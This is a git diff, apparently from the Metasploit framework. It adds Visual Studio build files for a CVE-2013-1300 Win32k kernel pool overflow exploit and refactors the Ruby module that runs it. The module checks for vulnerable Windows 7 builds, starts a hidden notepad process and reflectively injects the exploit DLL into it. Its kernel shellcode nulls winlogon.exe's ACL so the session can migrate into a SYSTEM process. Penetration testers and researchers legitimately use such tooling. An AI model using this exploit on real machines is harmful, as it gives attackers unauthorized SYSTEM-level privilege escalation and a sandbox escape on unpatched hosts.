diff --git a/external/source/exploits/cve-2013-1300/cve-2013-1300.sln b/external/source/exploits/cve-2013-1300/cve-2013-1300.sln new file mode 100755 index 0000000000..87426cc08c --- /dev/null +++ b/external/source/exploits/cve-2013-1300/cve-2013-1300.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-1300", "cve-2013-1300\cve-2013-1300.vcxproj", "{C093C490-61BF-433E-AEB4-80753B20DEC7}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.ActiveCfg = Debug|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Debug|Win32.Build.0 = Debug|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.ActiveCfg = Release|Win32 + {C093C490-61BF-433E-AEB4-80753B20DEC7}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2013-1300/dllmain.cpp b/external/source/exploits/cve-2013-1300/cve-2013-1300/cve-2013-1300.cpp similarity index 94% rename from external/source/exploits/cve-2013-1300/dllmain.cpp rename to external/source/exploits/cve-2013-1300/cve-2013-1300/cve-2013-1300.cpp index c103e0cc26..f87ad889ae 100644 --- a/external/source/exploits/cve-2013-1300/dllmain.cpp +++ b/external/source/exploits/cve-2013-1300/cve-2013-1300/cve-2013-1300.cpp @@ -7,13 +7,16 @@ * found and exploited by nils and jon of @mwrlabs */ - #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -#include "ReflectiveLoader.c" +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + // Purloined from ntstatus.h #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS #ifndef _NTDEF_ typedef __success(return >= 0) LONG NTSTATUS; diff --git a/external/source/exploits/cve-2013-1300/cve-2013-1300/cve-2013-1300.vcxproj b/external/source/exploits/cve-2013-1300/cve-2013-1300/cve-2013-1300.vcxproj new file mode 100755 index 0000000000..93f23165d9 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/cve-2013-1300/cve-2013-1300.vcxproj @@ -0,0 +1,96 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {C093C490-61BF-433E-AEB4-80753B20DEC7} + Win32Proj + Schlamperei_DLL + + + + DynamicLibrary + true + Unicode + + + DynamicLibrary + false + true + Unicode + + + + + + + + + + + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + false + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;SCHLAMPEREI_DLL_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + false + NotUsing + false + NotUsing + + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2013-1300/make.msbuild b/external/source/exploits/cve-2013-1300/make.msbuild new file mode 100644 index 0000000000..c18153ec01 --- /dev/null +++ b/external/source/exploits/cve-2013-1300/make.msbuild @@ -0,0 +1,17 @@ + + + + .\cve-2013-1300.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index a7893e8d85..38caa762c4 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -47,6 +47,13 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-1300 (schlamperei)" + PUSHD CVE-2013-1300 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + IF "%ERRORLEVEL%"=="0" ( ECHO "Building bypassuac (on-disk)" PUSHD bypassuac diff --git a/modules/exploits/windows/local/ms13_058_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb similarity index 74% rename from modules/exploits/windows/local/ms13_058_schlamperei.rb rename to modules/exploits/windows/local/ms13_053_schlamperei.rb index 9deaf504e2..cc072c3a6c 100644 --- a/modules/exploits/windows/local/ms13_058_schlamperei.rb +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -18,16 +18,21 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, { - 'Name' => 'ms13_053_schlamperei', + 'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)', 'Description' => %q{ - A kernel pool overflow in Win32k which allows local privilege escalation. Used in pwn2own 2013 to break out of chrome's sandbox. + A kernel pool overflow in Win32k which allows local privilege escalation. + The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). + This allows any unprivileged process to freely migrate to winlogon.exe, achieving + privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox. + NOTE: when you exit the meterpreter session, winlogon.exe is lickely to crash. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Nils&Jon (MWR) - original exploit', - 'Donato Capitella - ported to metasploit', - 'Ben Campbell - ported to metasploit' + 'Nils', #Original Exploit + 'Jon', #Original Exploit + 'Donato Capitella ', # Metasploit Conversion + 'Ben Campbell ' # Help and Encouragement ;) ], 'Arch' => ARCH_X86, 'Platform' => 'win', @@ -58,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Local def check os = sysinfo["OS"] - if (os =~ /windows/i) == nil + unless (os =~ /windows/i) return Exploit::CheckCode::Unknown end @@ -70,7 +75,11 @@ class Metasploit3 < Msf::Exploit::Local when 7600 return Exploit::CheckCode::Vulnerable when 7601 - return Exploit::CheckCode::Vulnerable if revision <= 1800 + if branch == 18 + return Exploit::CheckCode::Vulnerable if revision < 18176 + else + return Exploit::CheckCode::Vulnerable if revision < 22348 + end end return Exploit::CheckCode::Unknown end @@ -87,14 +96,14 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end - if check != Exploit::CheckCode::Vulnerable - fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end print_status("Launching notepad to host the exploit...") - notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true}) + notepad_process_pid = cmd_exec_get_pid("notepad.exe") begin - process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) + process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError print_status("Operation failed. Trying to elevate the current process...") @@ -102,7 +111,7 @@ class Metasploit3 < Msf::Exploit::Local end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.dll") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "cve-2013-1300.dll") library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") @@ -110,9 +119,9 @@ class Metasploit3 < Msf::Exploit::Local thread = process.thread.create(exploit_mem + offset) client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000) - - processes = client.sys.process.get_processes - processes.each do |p| + + + client.sys.process.each_process do |p| if p['name'] == "winlogon.exe" winlogon_pid = p['pid'] print_status("Found winlogon.exe with PID #{winlogon_pid}")